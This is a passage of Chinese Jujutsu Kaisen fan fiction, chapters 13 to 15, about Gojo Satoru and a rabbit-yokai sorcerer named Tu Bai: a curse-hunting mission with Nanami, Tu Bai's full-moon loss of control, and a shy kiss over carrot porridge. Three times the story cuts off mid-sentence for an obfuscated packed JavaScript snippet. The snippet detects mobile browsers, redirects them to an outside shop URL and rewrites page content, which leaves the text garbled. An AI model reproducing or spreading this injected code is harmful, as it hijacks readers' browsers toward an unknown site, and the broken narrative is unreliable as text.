他拿起那个粉红色晶体,对着光看。里面的光点缓缓旋转,发出柔和的光。 所以到底为什么会是粉红色的呢? 涂白想不通,但觉得挺好看。 他把晶体放回盒子,收好。然后去洗漱,准备早餐。 吃早饭的时候,他拿出手机,想给五条悟发消息说谢谢。但打了几行字,又删了。 最后只发了句:【晶体我看到了。】 五条悟秒回:【喜欢吗?】 涂白看着那个粉红色晶体,回:【……喜欢。】 【那就好~周一见。】 涂白放下手机,继续吃早饭。 窗外阳光很好。 他忽然想起昨晚睡着前,五条悟说的那句话——“如果能普及这种技术,至少能让底层术师多一点生存的机会。” 还有睡梦中隐约听见的那句没说完的“你比我想的还有意思……” 后面是什么来着? 涂白想不起来了。 但他心里那点异样的感觉,好像又多了一点。 13. 第13章:他的……占有欲 周二早上七点,涂白被手机震动吵醒。 是五条悟的消息:【九点,新宿区三丁目集合。娜娜明指名要你帮忙。】 涂白揉着眼睛回:【什么任务?】 【一级咒灵,擅长隐匿和逃跑。娜娜明需要你构筑陷阱把它困住。我陪你一起去~】 涂白盯着那个波浪号看了三秒,叹了口气。他爬起来洗漱,换了身方便活动的衣服——黑色运动裤,灰色连帽衫,把头发随便抓了抓就出门了。 到集合地点时八点五十。一辆黑色轿车停在路边,七海建人站在车旁,穿着那套标志性的西装,打着领带,金发梳得一丝不苟,眼镜后的眼睛平静无波。他正在看平板上的资料。 “七海先生,早上好。”涂白走过去。 七海抬头,对他点点头:“涂白君,挺准时的。任务资料在车上,路上看。” “好。” 涂白正要上车,另一辆车“嗖”地停在旁边。车窗降下来,五条悟戴着墨镜的脸露出来:“哟,早啊~” 七海推了推眼镜:“五条先生,我记得我只邀请了涂白君。” “顺路嘛。”五条悟下车,今天穿了件深蓝色的外套,里面是白色T恤,墨镜换成了小圆片的款式,“而且小白第一次和你合作,我不放心~” “小白?”七海重复。 “昵称~”五条悟很自然地走到涂白身边,手搭在他肩上,“对吧?” 涂白想躲开,但五条悟的手很重:“……前辈。” “上车吧。”七海没再多说,拉开后车门。 涂白坐进去,五条悟也跟着挤进来,坐在他旁边。七海坐进副驾驶,把平板递给涂白:“目标咒灵,一级,代号‘影匿’。能力是融入阴影,快速移动,擅长偷袭。已造成三起平民伤亡事件。” 涂白接过平板看资料。咒灵的形态照片很模糊,像一团蠕动的黑影。 “我们需要把它困在固定区域。”七海说,“你的构筑术式能制造封闭结界吗?” “能。”涂白说,“但需要知道具体范围和地形。” “现场是废弃商场,三层,总面积约五千平米。咒灵最后被目击在地下停车场。”七海调出结构图,“我们需要把它逼到停车场角落,然后你构筑结界困住它,我来祓除。” “明白了。” 五条悟在旁边听着,突然插话:“娜娜明,你这次挺认真的嘛。” “工作时间当然要认真工作。”七海头也不回,“五条先生如果觉得无聊,可以不用跟来。” “那不行~我要看小白表现。” 涂白感觉有点尴尬。他低头继续看资料,五条悟的手还搭在他肩上,没拿开。 车开到废弃商场时九点半。商场外面拉着警戒线,两个辅助监督在待命。 “七海先生。”其中一个辅助监督过来,“咒灵还在里面,昨晚监控拍到它在二楼食品区活动。” “嗯。”七海点头,看向涂白,“涂白君,先构筑外围警戒结界,防止它逃跑。” 涂白走到商场入口,双手按在地面。银色妖力涌出,沿着地面向四周扩散,在商场外围形成一道透明的屏障。屏障表面流转着细微的妖纹,像水波一样荡漾。 七海仔细观察:“强度如何?” “能挡住一级咒灵的全力冲击两次。”涂白站起来,“维持时间大概三十分钟。” “足够了。”七海推了推眼镜,“进去吧。” 三人走进商场。里面很暗,只有几缕阳光从破窗照进来。空气中弥漫着灰尘和霉味,地上散落着破碎的货架和商品。 五条悟跟在涂白身边,几乎寸步不离。七海走在前面,手里拿着咒具——那把用布裹着的刀。 “感觉到了吗?”七海突然停住。 涂白集中精神感知。妖力对负面能量很敏感,他能感觉到……有什么东西在阴影里移动。 “左边走廊。”他说。 七海点头:“跟紧。” 他们慢慢靠近走廊。涂白的手一直保持准备构筑的姿势,随时可以发动术式。 走廊尽头是家电区,一堆电视屏幕对着他们,大部分都碎了。其中一块屏幕突然亮起来,显示着扭曲的雪花画面。 然后黑影从屏幕里涌了出来。 不是一只,是十几团,像墨水一样泼洒在地面和墙壁上,快速向他们涌来。 “分散了。”七海皱眉,“本体藏在其中一团里。” “我来找。”涂白闭上眼睛,双手张开。银色妖力以他为中心扩散,像雷达波一样扫过整个区域。这不是攻击性的构筑,而是感知性的——妖力接触到的每一样东西都会反馈结构信息。 在他的感知里,那些黑影大部分是空的,只有一团……内部有核心。 “右前方第三团!”涂白睁眼喊道。 七海瞬间动了。他冲向那团黑影,刀出鞘,寒光一闪。 但黑影反应更快,它分裂成更小的碎片,融入地面阴影,消失不见。 “跑了。”七海收刀,“它很狡猾。” “需要更大范围的感知。”涂白说,“我可以构筑一个覆盖整个楼层的感知网,但需要时间。” “要多久?” “五分钟。” “可以。”七海说,“五条先生,请保护涂白君。” “还用你说~”五条悟站到涂白身边,手插在口袋里,看起来轻松,但墨镜后的眼睛已经进入警戒状态。 涂白盘腿坐下,双手按在地面。这次他构筑的不是实物,而是无数细如发丝的妖力线。这些线以他为起点,向四面八方延伸,穿透墙壁、地板、天花板,像一张巨大的蜘蛛网覆盖了整个楼层。 每根线都是他感知的延伸。他能“看到”灰尘在空气中漂浮,能“听到”老鼠在管道里跑动,能“感觉”到阴影的流动方向。 找到了。 “地下停车场,东南角,躲在柱子后面。”涂白睁开眼睛,额头上冒出细汗,“它在等我们下去。” “陷阱?”七海问。 “应该是。”涂白站起来,“它知道我们在找它,故意露出破绽。” “将计就计。”七海看向五条悟,“五条先生,麻烦你从正面吸引注意力。涂白君,跟我从侧面包抄,你构筑结界困住它。” “好。” 五条悟挑眉:“为什么我是诱饵?” “因为你最显眼。”七海说得毫不留情,“而且就算被偷袭,你也死不了。” “哇,娜娜明你好过分~” 但五条悟还是照做了。他晃晃悠悠地走向通往地下停车场的楼梯,嘴里哼着歌,脚步声故意放得很重。 七海和涂白从另一边的安全通道绕下去。地下停车场更暗,只有几盏应急灯在闪烁。 涂白能通过感知网清楚地“看到”咒灵的位置——它真的躲在东南角的柱子后面,身体融入阴影,几乎和黑暗融为一体。 五条悟走进停车场,站在空旷处:“喂——在吗?出来玩啊——” 黑影动了。它从柱子后面滑出来,像液体一样沿着地面快速接近五条悟。在距离五米处突然跃起,化作无数尖刺射向他。 五条悟动都没动。无下限自动发动,尖刺在距离他几厘米处停住,然后纷纷掉落。 “就这?”他笑。 咒灵意识到上当,想逃,但已经晚了。 “现在!”七海喊。 涂白双手一合,银色光芒从他掌心爆发。不是从地面升起,而是直接从咒灵周围的空间里“长”出来——六面透明的墙壁瞬间成型,把咒灵困在了一个边长三米的立方体里。 咒灵疯狂撞击墙壁,但构筑物的强度足够,纹丝不动。 七海走过去,拔刀:“结束了。” 刀刃落下,咒灵发出一声尖啸,然后化作黑烟消散。 涂白松了口气,散掉结界。妖力消耗不小,他有点腿软。 “做得好。”七海收刀,看向涂白,“精准的定位,果断的构筑,优秀的战术头脑。” 涂白被夸得有点不好意思:“谢谢……” “不过,”七海转向五条悟,“五条先生,下次请不要在涂白君构筑感知网的时候一直盯着他看。会让他分心。” 五条悟歪头:“有吗?我只是在观察小白认真的样子~” “就是这种‘观察’会妨碍工作。”七海推了推眼镜,“涂白君是专业的咒术师,不需要你像护着小鸡一样护着。” 涂白愣了下。他刚才专注感知,没注意到五条悟一直在看他。 五条悟笑了:“娜娜明你吃醋了?” “请不要说无聊的话。”七海转身,“任务完成,收队。” 三人走出商场。辅助监督开始善后工作。七海去交接报告,五条悟和涂白在车边等。 “累吗?”五条悟问。 “有点。”涂白实话实说,“感知网消耗挺大的。” “回去请你吃甜品补补~” 涂白没接话。他想起刚才七海说的话——五条悟一直在看他。 为什么? 七海交接完回来,对涂白说:“涂白君,能单独说几句吗?” 涂白看了五条悟一眼,五条悟耸肩:“去吧去吧,我在这儿等。” 涂白跟着七海走到旁边。七海靠在车身上,摘下眼镜擦了擦,重新戴上。 “涂白君,你和五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123004|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条先生搭档多久了?” “一个多月吧。” “感觉如何?” 涂白想了想:“前辈……虽然性格有点问题,但很强,也很照顾我。” “照顾。”七海重复这个词,“涂白君,你知道五条先生是什么样的人吗?” “最强的咒术师……五条家的家主……高专老师……” “那些是身份。”七海说,“我说的是人。五条悟这个人,对大多数事物都缺乏兴趣,对少数感兴趣的东西会异常执着。他把‘责任’和‘在意’分得很清——可以对所有人负责,但只对极少数人在意。” 涂白听着,没说话。 “你属于‘极少数’。”七海看着他,“这意味着他会做出非理性的判断,会过度保护,会把你放在一个特殊的位置。而那个位置……压力很大。” “……我明白。” “你真的明白吗?”七海语气平静,“和最强在一起,你自己也必须足够强韧。不是指实力——当然实力也很重要——是指心。要能承受他的关注,他的期待,他的……占有欲。” 涂白想起五条悟那些小动作:搭肩,揉头发,膝盖碰膝盖,还有昨晚实验时从背后握着他的手。 那些动作太自然了,自然到他都没觉得有什么不对。 但现在被七海点出来…… “我只是提醒你。”七海说,“没有否定你们关系的意思。事实上,五条先生最近比以前……更像人了。这是好事。但好事往往伴随着代价。” 他顿了顿:“你准备好了吗?承受这种重量的关注?” 涂白沉默了很久。 “我不知道。”他最后说,“但……我想试试。” 七海看了他几秒,点头:“那就好。走吧,该回去了。” 两人走回车边。五条悟正靠着车玩手机,看见他们回来,收起手机:“聊完了?” “嗯。”七海拉开前车门,“我坐前面。” 回程车上,涂白靠着车窗,脑子里反复回放七海的话。 和最强在一起…… 他真的和五条悟“在一起”吗?不是那种意义上的在一起,是……搭档?朋友? 还是别的什么? “想什么呢?”五条悟碰了碰他肩膀。 涂白回过神:“没什么。” “和娜娜明聊什么了?神神秘秘的。” “……工作上的事。” 五条悟挑眉,但没追问。 安静了一会儿,涂白突然问:“前辈,我和七海先生配合得还好吗?” 他想听到评价。不是战术上的,是……别的什么。 五条悟愣了下,然后笑了:“马马虎虎~比我差一点。” 涂白瞪他。 “骗你的。”五条悟揉他头发,“很棒。娜娜明那家伙很少夸人,他刚才夸你了吧?” “……嗯。” “所以你很厉害啊。”五条悟说得理所当然,“不愧是我选的搭档~” 涂白耳朵有点热。他别过头看窗外。 五条悟突然从口袋里掏出什么,递过来:“奖励。” 涂白低头,看见一颗兔子造型的糖果。粉色的,耳朵是立体的,眼睛用糖珠点缀,很精致。 “哪来的?” “刚才在商场旁边便利店买的。”五条悟笑,“觉得像你,就买了。” 涂白接过糖果,捏在手里。糖纸凉凉的,但很快就焐热了。 “……谢谢。” “不客气~” 车开到涂白公寓楼下。涂白下车,五条悟也下来。 “下周继续实验。”五条悟说,“我想到个新结构,说不定能让晶体储存时间更长。” “好。” “还有,”五条悟顿了顿,“娜娜明跟你说什么,别全听。那家伙太正经了。” 涂白抬头看他:“七海先生是好人。” “我知道。”五条悟笑,“但他不懂有趣的~” 涂白不知道该接什么。 “走了。”五条悟挥手,转身上车。 涂白站在原地,看着车开走。他低头看手里的兔子糖,看了很久。 然后剥开糖纸,把糖放进嘴里。 是草莓味的,很甜。 他转身上楼。走到一半,手机震了。是五条悟的消息: 【糖好吃吗?】 涂白回:【嗯。】 【下次买芒果味的~】 涂白盯着这条消息,又想起七海的话。 “和最强在一起……” 他按灭手机屏幕,继续上楼。 嘴里草莓糖的甜味,好像一直蔓延到了心里。 14. 第14章:月圆夜的失控 周五早上,涂白没去学校。 不是懒,是真起不来。从凌晨开始就觉得浑身不对劲,骨头里像有蚂蚁在爬,妖力在经脉里乱窜,压都压不住。他勉强给教授发了封邮件请假,然后就缩回床上,把自己裹进被子里。 农历十五。每月一次的能量波动期,但平时没这么严重。涂白猜是因为这个月妖力用得太频繁了——训练、任务、还有跟五条悟做那个晶体实验,消耗一直没完全恢复。 他抱着枕头,试图把乱窜的妖力压回去。但越压越乱,银色光屑不受控制地从皮肤表面溢出来,飘浮在空气里,像细碎的星星。 手机震了好几次,他没力气接。 直到下午两点,房门被直接推开了。 涂白迷迷糊糊睁开眼,看见五条悟站在卧室门口,还穿着那件深蓝色外套,墨镜推到头顶,冰蓝色的眼睛正盯着他。 “……前辈?”涂白声音嘶哑,“你怎么进来的?” “瞬移。”五条悟走进来,眉头少见地皱起,“伊地知说你病了,电话也不接。” 他走到床边,蹲下来。六眼全开,银色光屑的流动轨迹在他眼里清晰可见。 “能量不稳……”五条悟观察着,“月相影响?你们妖族还有这种设定?” 涂白把脸埋进枕头:“……每个月一次,但这次特别严重。可能之前消耗太大了。” “为什么不早说?”五条悟语气有点硬。 “说了有什么用……”涂白小声嘟囔,“又没办法……” 话没说完,他身体猛地一颤。妖力像决堤的水一样冲出来,完全失控了。 银色光芒炸开。 五条悟下意识开了无下限,但马上又关掉——那些妖力没有攻击性,只是在房间里乱窜,然后开始……构筑东西。 先是天花板。银色光屑聚拢,拉长,变形——变成了一根巨大的胡萝卜形状的吊灯,发着柔和的橙光,晃晃悠悠挂在天花板上。 然后是被子。涂白抱着的枕头突然膨胀,变成了一个兔子形状的抱枕,耳朵耷拉着,眼睛是两颗红色的纽扣。 接着是沙发。客厅里传来“噗”的一声,五条悟转头看去,沙发变成了一堆蘑菇形状的软垫,伞盖部分还发着荧光。 五条悟愣了两秒,然后“噗嗤”笑出声。 “你这癖好……”他肩膀直抖,“真可爱。” 涂白羞耻得想死。他抓住五条悟的袖子,手指用力到发白:“别笑了……帮帮我……” 声音里带着哭腔。 五条悟笑声停了。他握住涂白的手,掌心贴掌心。 “放松。”他说,声音低下来,“别抵抗,让它流出来。我帮你导回去。” 涂白咬牙:“控制不住……” “那就别控制。”五条悟另一只手覆在他额头上,“相信我。” 他闭上眼睛,六眼还在运转。涂白的妖力轨迹在他脑内清晰成像——乱,太乱了,像一团缠死的毛线。他需要找到线头。 五条悟开始输入咒力。不是平时那种强横的、属于“苍”的冰冷咒力,而是刻意调整过的、模仿妖力频率的温和能量。一丝丝,一点点,像引导小溪流回河道。 这个过程很慢,很精细。五条悟额头渗出细汗,六眼过载的刺痛感开始出现,但他没停。 涂白感觉到一股温和的力量进入体内,顺着经脉游走,把乱窜的妖力一点点拢住,带回正轨。那种蚂蚁爬的感觉慢慢减轻,身体的失控感也在消退。 他绷紧的肌肉松弛下来,疲惫感涌上来。 五条悟引导了快半小时,涂白的妖力终于平稳了。那些奇怪的构筑物没有消失,但不再发光了,老老实实待在原地。 涂白累得睁不开眼,身体一软,靠进五条悟怀里。 五条悟僵了下,但没推开。他低头看怀里的人,涂白脸色还是苍白,但呼吸平稳了。黑色的卷发被汗浸湿,贴在额头上。 “小时候……”涂白半梦半醒间嘟囔,“也这样……变出一堆胡萝卜……被爸妈笑了好久……” 声音很小,带着委屈。 五条悟沉默了几秒,手臂收紧了点。 “现在不会了。”他说,“有我在。” 涂白在意识模糊中吐槽:“你刚刚还嘲笑我了……” 五条悟噎住,然后笑了:“我错了,行了吧?不该笑你。” 涂白没回应,他已经快睡着了。 就在这时,五条悟注意到涂白头顶——黑色的头发里,有什么东西在动。 一对黑色的、毛茸茸的兔耳朵,正从发间缓缓冒出来。耳朵尖还带着一点白毛,随着呼吸轻轻颤动。 五条悟眼睛睁大了。 还有尾巴——涂白身后,睡衣下摆鼓起来一块,一条圆滚滚的黑色兔尾巴探出来,毛茸茸的,像个球。 五条悟盯着看了足足十秒。 然后他伸出另一只手,小心翼翼地向那只左耳靠近。 指尖还没碰到绒毛—— 涂白突然睁眼,几乎是本能反应,一口咬住了五条悟的手腕。 “嘶——”五条悟倒吸一口凉气。 咬得不重,但涂白的牙齿挺尖。五条悟能感觉到皮肤被刺破的细微痛感。 他本来可以开无下限的。在涂白咬下来的瞬间,身体的本能反应应该是自动防御。 但他没开。 为什么? 涂白咬了两秒,清醒过来,赶紧松口。五条悟手腕上多了两排清晰的牙印,微微渗血。 “对、对不起!”涂白慌了,“我不是故意的,就是突然——” “没事。”五条悟说,语气出乎意料地平静,“应激反应?耳朵不能碰?” 涂白脸红了,手摸向头顶,触到毛茸茸的耳朵时整个人僵住:“……它们出来了?” “嗯。”五条悟看着那对还在颤动的耳朵,眼神专注,“挺可爱的。” 涂白想把耳朵缩回去,但妖力刚平稳,控制不了。他只能拉起被子盖住头:“不准看!” 五条悟笑:“看看怎么了~又摸不到。” 话是这么说,但他没再伸手。只是眼睛一直盯着被子鼓起的那块,像是在用视线代替手去摸。 又过了一会儿,涂白彻底睡着了。五条悟轻轻把他放回床上,盖好被子。兔耳朵还露在外面,随着呼吸一抖一抖。 五条悟坐在床边,看着自己的手腕。 牙印已经不出血了,但痕迹还在。以他的反转术式,这种小伤瞬间就能治好。 但他没治。 他盯着牙印,脑子里回放刚才的画面——涂白咬下来的瞬间,他的无下限没有自动开启。 这不是第一次了。 仔细想想,好像每次和涂白有肢体接触时,他都会下意识关掉无下限。搭肩、揉头发、握手、甚至昨晚从背后握住涂白的手做实验……一次都没开过。 为什么? 因为觉得没必要?因为涂白没有威胁? 还是因为……他潜意识里已经允许这个人触碰自己? 五条悟皱起眉。他想不明白。 床上传来均匀的呼吸声。涂白睡熟了,耳朵软软地耷拉着。五条悟看了他一会儿,站起来,走出卧室。 客厅里,那个蘑菇沙发还在发着微弱的荧光。五条悟走过去,试着坐了一下——意外的还挺舒服。 他躺下来,一米九几的身高在沙发上显得格外憋屈,腿有一半悬在外面。但五条悟没在意。 他抓过涂白平时用的抱枕——现在已经变成了兔子形状的。抱枕上还残留着涂白的气息,淡淡的,有点像阳光晒过的青草,又有点说不清的甜味。 五条悟把脸埋进抱枕,深吸一口气。 是涂白的味道。 他顿了下,意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123005|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个行为有点变态。但转念一想,反正没人看见。 无所谓了。 他抱着兔子抱枕,在发光的蘑菇沙发上蜷缩起来,闭上眼睛。 --- 半夜,涂白醒了。 是被尿憋醒的。他迷迷糊糊坐起来,头顶的耳朵动了动,尾巴也在身后晃了晃。 妖力已经平稳了,耳朵和尾巴暂时还收不回去,但至少身体不难受了。他掀开被子下床,脚刚沾地就一软—— “咚!” 膝盖磕在地板上,疼得他龇牙咧嘴。 几乎在同一秒,客厅传来动静。五条悟冲进卧室,头发乱糟糟的,墨镜不知道丢哪儿了,冰蓝色的眼睛在黑暗里微微发亮。 “怎么了?”他问,声音还带着刚醒的沙哑。 “……摔了。”涂白尴尬地说,“想上厕所……” 五条悟走过来,没开灯,借着窗外透进来的月光打量他。目光在那对兔耳朵上停了两秒,然后弯腰,直接把涂白打横抱起来。 “喂——!”涂白惊呼。 “别动。”五条悟抱着他走出卧室,走向卫生间,“腿软还自己走,摔死你。” 涂白闭嘴了。他被抱在怀里,能感觉到五条悟手臂的力量,还有隔着衣服传来的体温。耳朵不受控制地竖起来,尾巴也紧张地缩成一团。 五条悟把他放在马桶前。 然后没走。 涂白抬头看他:“……你出去啊。” “站得稳吗?”五条悟挑眉。 “站得稳!” “哦。”五条悟还是没动,手还扶在涂白腰上。 涂白脸红了:“我要上厕所!” “上啊。”五条悟理所当然,“我又不拦你。” “你在这儿我怎么上!” 五条悟盯着他看了几秒,然后笑了:“行吧行吧,我在外面等你。” 他终于松手,退出卫生间,关上门。但没走远,就靠在门外墙上。 涂白听见他在外面说:“好了叫我。” “……知道了。” 涂白解决完生理问题,冲了水,洗手。镜子里的自己顶着兔耳朵,看起来蠢死了。他试着调动妖力想把耳朵收回去,但刚平稳的能量又开始波动,吓得他赶紧停下。 算了,就这样吧。 他打开门,五条悟还靠在墙上,抱着手臂,看见他出来,视线又落在他头顶。 “收不回去?” “……暂时收不回去。”涂白小声说,“明天就好了。” “哦。”五条悟走过来,又把他抱起来。 “我自己能走!” “再摔一次我可不管。” 涂白不说话了。他认命地被抱回卧室,放在床上。五条悟给他盖好被子,动作意外地轻柔。 “睡吧。”五条悟说,“明天给你煮粥。” “你会煮粥?” “学就会了。”五条悟挑眉,“看不起我?” “……没有。” 五条悟笑了。他伸手,这次不是摸耳朵,而是轻轻揉了揉涂白的头发:“睡。” 然后他转身走出卧室,轻轻带上门。 涂白躺在黑暗里,听着客厅里五条悟回到沙发上的细微动静。头顶的耳朵动了动,捕捉着那个方向的声响。 过了很久,他才重新睡着。 --- 客厅里,五条悟躺在蘑菇沙发上,盯着天花板。 手腕上的牙印已经淡了,但还能摸到痕迹。他反复摩挲着那个位置,脑子里还在想那个问题。 为什么没开无下限? 为什么允许涂白咬他? 为什么……不讨厌这种感觉? 他闭上眼睛,鼻子埋在兔子抱枕里,又深吸了一口涂白的味道。 然后他意识到—— 他好像,真的有点不对劲了。 15. 第15章: 兔子急了也会“咬”人 涂白是被香味勾醒的。 不是平时那种泡面或者速食食品的味道,是……米粥的香味,混着一点胡萝卜的清甜。他迷迷糊糊睁开眼,头顶的兔耳朵先动了动,捕捉声音来源——厨房。 尾巴也跟着晃了晃,碰到床单时他才反应过来,昨晚的耳朵和尾巴还没收回去。 涂白坐起来,揉了揉眼睛,试着调动妖力。平稳多了,耳朵和尾巴虽然还在,但至少能控制它们动一动。他深吸一口气,集中精神,想把它们收回去—— “噗。” 耳朵消失了。 尾巴也“咻”地缩了回去。 涂白松了口气。他掀开被子下床,腿还有点软,但比昨晚好多了。他走到卧室门口,探头看向厨房。 五条悟背对着他,站在灶台前,身上系着围裙——粉色的,上面印着卡通兔子图案,是涂宝去年送的生日礼物,涂白自己都没穿过几次。 围裙带子系在五条悟腰后,打了个歪歪扭扭的结。他一手拿着勺子,一手扶着锅,正低头看锅里咕嘟咕嘟冒泡的东西。 涂白走过去:“前辈……” “哟,醒了?”五条悟回头,墨镜没戴,冰蓝色的眼睛在晨光下显得很亮,“正好,粥好了。” 他关火,拿了个碗,舀了一大勺锅里的东西倒进去。 粥是橙色的。 非常鲜艳的橙色,稠得像糊糊,里面能看见煮烂的胡萝卜碎,还有……一些奇怪的浅黄色块状物? “这是什么?”涂白盯着碗。 “我特制的胡萝卜营养粥~”五条悟得意地把碗放到餐桌上,“快尝尝。” 涂白坐下,拿起勺子,犹豫了三秒,还是舀了一小口,吹了吹,送进嘴里。 味道……很复杂。 胡萝卜的甜味很重,重到发腻。米煮得过头了,烂成一团。那些浅黄色块状物,涂白嚼了嚼,发现是没切碎的生姜。 他表情扭曲了一瞬,强忍着咽下去。 “怎么样?”五条悟坐在对面,手肘撑在桌上,托着下巴看他。 “……你放了多少胡萝卜?”涂白问。 “三根。”五条悟说,“我看你冰箱里就三根,全放了。” “那是三天的量……” “浓缩就是精华嘛~” 涂白不想说话。他又舀了一勺,这次避开了生姜块,勉强吃下去。 五条悟就这么看着他吃,看了好一会儿,突然说:“你昨晚说梦话了哦,小白。” 涂白勺子一顿:“……我说了什么?” “说‘不要扔掉我的胡萝卜’。”五条悟笑,眼睛弯起来,“谁要扔啊,多可爱。那些胡萝卜吊灯、兔子抱枕、蘑菇沙发……我都给你留着呢。” 涂白耳朵红了。他把头埋得更低,专心喝粥。 粥虽然味道诡异,但吃了几口之后,胃里暖和起来。妖力波动后的虚弱感也缓解了一些。 “以后不舒服就找我。”五条悟伸手,戳了戳涂白的脸颊,“别硬撑。” 涂白被他戳得侧过头:“……知道了。” “嘴上说知道了,下次肯定还是自己扛。”五条悟收回手,但很快就又伸了过来——这次是用拇指擦掉涂白嘴角沾到的一点粥渍。 动作很自然,指腹擦过嘴角的触感温热。 涂白僵住了。 他盯着五条悟的手,脑子里突然冒出七海的话——“那种‘观察’会妨碍工作”、“过度保护”、“占有欲”。 还有钉崎的纸条——“五条老师看你的眼神不对劲”。 不对劲。 这种举动……不对劲。 涂白“啪”地拍开五条悟的手。 力道不小,声音在安静的厨房里很响。 五条悟愣了下,看着自己被拍开的手,又看向涂白。 涂白也反应过来自己反应过度了。他抿了抿嘴,小声说:“……对不起。” “但前辈以后可不可以不要动不动就做这种容易让人误会的举动。”他抬起头,努力让语气严肃,“擦嘴角什么的……太亲密了。” 五条悟挑眉:“误会?误会什么?” “就是……”涂白卡壳了。 误会什么?误会他们在交往?误会五条悟对他有那种意思? 可他连五条悟到底是什么意思都不知道。 “反正就是不好。”涂白憋出一句,“前辈就是看我太正经了,所以才总是这样故意逗弄我吧?” 五条悟笑了:“是啊,你反应很有趣嘛~” 果然。 涂白心里那点说不清的期待“啪”地灭了。他就知道,五条悟只是觉得好玩,故意逗他。 像逗宠物一样。 他低头,继续喝粥,但粥好像突然没那么好吃了。 五条悟还在对面看着他,眼神里带着那种熟悉的、觉得有趣的笑意。 涂白盯着碗里的橙色糊糊,脑子里闪过一个念头。 不能总这么被动。 得反击。 他放下勺子,站起来。 五条悟抬头:“吃完了?” “饱了。”涂白绕到五条悟那边,站在他面前。 五条悟坐着,涂白站着,这个角度涂白需要微微低头看他。五条悟挑眉:“干嘛?” 涂白深吸一口气,努力摆出最认真的表情:“前辈,谢谢你昨天照顾我。帮我稳定妖力,陪我,还……给我煮粥。” 他说得很诚恳,眼睛直视五条悟。 五条悟愣了下,然后笑:“突然这么正经——” 话没说完。 涂白弯下腰,迅速凑近,在五条悟脸颊上亲了一下。 很轻,很快,像蜻蜓点水。 五条悟整个人僵住了。 涂白亲完立刻后退两步,脸以肉眼可见的速度涨红。他不敢看五条悟的表情,语速飞快地说:“我、我上课要迟到了!前辈没事也赶紧回去吧!碗放着我回来洗!” 说完他转身就跑,连睡衣都没换,抓起沙发上的外套就往门口冲。 “等等——”五条悟反应过来,但涂白已经“砰”地关上门跑了。 厨房里安静下来。 五条悟坐在椅子上,保持着被亲时的姿势,好几秒没动。 他抬手,摸了摸刚才被亲的地方。 涂白的嘴唇很软,触感温热,一触即离。但那个位置现在好像还在发烫。 五条悟眨了眨眼。 然后他笑了。 “原来兔子急了也会咬人啊……”他低声自言自语,嘴角的弧度越来越大,“不对,是也会亲人。” 不过就算会“咬”人,也还是很可爱。 他站起来,走到窗边,看向楼下。涂白正好冲出公寓楼,外套都没穿好,一边跑一边把胳膊往袖子里塞,头发乱糟糟的,跑得飞快,像后面有鬼在追。 五条悟看着他跑远的背影,笑出声。 他走回餐桌边,看着涂白没喝完的半碗粥,拿起勺子,舀了一勺自己尝了尝。 “……好难吃。”他皱眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123006|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但还是咽下去了。 然后他端起碗,把剩下的粥全喝了。 收拾完厨房,五条悟解下围裙——粉色的兔子围裙,他盯着看了几秒,没放回原处,而是叠好,塞进了自己带来的袋子里。 “这个我带走了。”他对着空厨房说,好像涂白还在似的。 走到门口,他回头看了一眼客厅。胡萝卜吊灯还挂在天花板上,兔子抱枕瘫在蘑菇沙发上,整个房间充斥着涂白妖力构筑的奇怪物品。 五条悟拿出手机,拍了张照片。 然后他离开公寓,轻轻带上门。 --- 去高专的路上,五条悟坐在车里,手指无意识地摩挲着被亲过的脸颊。 脑子里回放刚才的画面:涂白认真的表情,突然凑近的脸,柔软的触感。 还有……他自己当时那一瞬间的心跳加速。 五条悟皱起眉。 心跳加速? 为什么? 因为被偷袭了?因为没想到涂白会这么做? 还是因为……别的什么? 他想起昨晚涂白咬他手腕时,他没开无下限。想起平时和涂白接触时,他总会下意识关掉无下限。 想起睡在涂白沙发上,抱着涂白的抱枕闻味道。 还有刚才被亲时,他明明可以躲开,但没躲。 五条悟盯着车窗外的街景,脑子有点乱。 他好像……真的有点不对劲了。 但哪里不对劲,又说不上来。 就是觉得涂白挺有意思的,想多看看,多逗逗,多照顾一点。 这有什么问题吗? 没有吧。 五条悟说服了自己,把那些乱七八糟的念头抛到脑后。他拿出手机,给涂白发消息: 【粥我都喝完了,不难吃~】 等了几分钟,没回复。应该在上课。 五条悟又发了一条: 【围裙我带走了,当纪念品。】 还是没回复。 五条悟笑了笑,收起手机。 车开到高专。五条悟下车,往教学楼走,路上碰到夜蛾正道。 “悟,你今天心情很好?”夜蛾看着他。 “有吗?” “嘴角一直挂着笑。” 五条悟摸了下自己的嘴角,确实在笑。 “想到有趣的事了~”他说,然后哼着歌走了。 夜蛾看着他背影,皱眉。 --- 